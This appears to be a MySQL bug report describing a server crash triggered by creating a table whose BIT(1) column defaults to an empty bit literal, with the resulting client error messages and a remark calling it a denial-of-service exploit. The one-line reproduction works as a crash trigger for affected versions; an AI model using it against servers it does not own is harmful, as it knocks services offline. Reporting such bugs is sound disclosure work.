Description:
Crash of MySQL after using a BIT date types (olny with b'').

How to repeat:
mysql> create table ttt (aaa BIT (1) NOT NULL DEFAULT b''); );

ERROR 2013 (HY000): Lost connection to MySQL server during query
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'myserver.com' (111)
ERROR:
Can't connect to the server

The same thing with version 5.0.54.

P.S. Wonderful DOS exploit ;)
